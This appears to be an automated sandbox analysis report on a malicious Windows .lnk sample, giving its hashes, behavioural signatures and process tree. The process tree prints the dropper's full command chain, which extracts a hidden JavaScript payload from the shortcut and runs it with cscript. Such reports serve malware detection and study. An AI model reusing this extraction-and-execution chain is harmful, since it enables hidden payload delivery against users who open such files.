Analysis
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max time kernel
118s -
max time network
121s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 04:23
Static task
static1
Behavioral task
behavioral1
Sample
b89cc69c63894c4b263be5a7b7390d3f8500a8ed4834882a7282ebca301e528e.lnk
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
General
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Target
b89cc69c63894c4b263be5a7b7390d3f8500a8ed4834882a7282ebca301e528e.lnk
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Size
46KB
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MD5
12fd4e486b418914dbeedc4effc73426
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SHA1
eb046deb4bdf36461bb828967ce15d5123637cee
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SHA256
b89cc69c63894c4b263be5a7b7390d3f8500a8ed4834882a7282ebca301e528e
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SHA512
302251bedfc04c3b94e6ad6d785aa3623db4b25a05006eca60ef33ab70d6af1a224516deb4c5d33ada0fe2faf2773ca183905c6e65bce2e3fd196ec8beaa2195
Malware Config
Signatures
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 1600 wrote to memory of 1696 1600 cmd.exe 28 PID 1600 wrote to memory of 1696 1600 cmd.exe 28 PID 1600 wrote to memory of 1696 1600 cmd.exe 28 PID 1696 wrote to memory of 1060 1696 cmd.exe 29 PID 1696 wrote to memory of 1060 1696 cmd.exe 29 PID 1696 wrote to memory of 1060 1696 cmd.exe 29 PID 1696 wrote to memory of 1196 1696 cmd.exe 30 PID 1696 wrote to memory of 1196 1696 cmd.exe 30 PID 1696 wrote to memory of 1196 1696 cmd.exe 30 PID 1696 wrote to memory of 908 1696 cmd.exe 31 PID 1696 wrote to memory of 908 1696 cmd.exe 31 PID 1696 wrote to memory of 908 1696 cmd.exe 31 PID 1696 wrote to memory of 276 1696 cmd.exe 32 PID 1696 wrote to memory of 276 1696 cmd.exe 32 PID 1696 wrote to memory of 276 1696 cmd.exe 32 PID 1696 wrote to memory of 1648 1696 cmd.exe 33 PID 1696 wrote to memory of 1648 1696 cmd.exe 33 PID 1696 wrote to memory of 1648 1696 cmd.exe 33
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\b89cc69c63894c4b263be5a7b7390d3f8500a8ed4834882a7282ebca301e528e.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:1600 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "3.png*lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "3.pn*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "TRU4">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cScRiPt "C:\Users\Admin\AppData\Local\Temp\0.js"2⤵
- Suspicious use of WriteProcessMemory
PID:1696 -
C:\Windows\system32\forfiles.exeforfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "3.pn*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"3⤵PID:1060
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""3⤵PID:1196
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C:\Windows\system32\find.exefind "TRU4"3⤵PID:908
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" rd a"3⤵PID:276
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C:\Windows\system32\cscript.execScRiPt "C:\Users\Admin\AppData\Local\Temp\0.js"3⤵PID:1648
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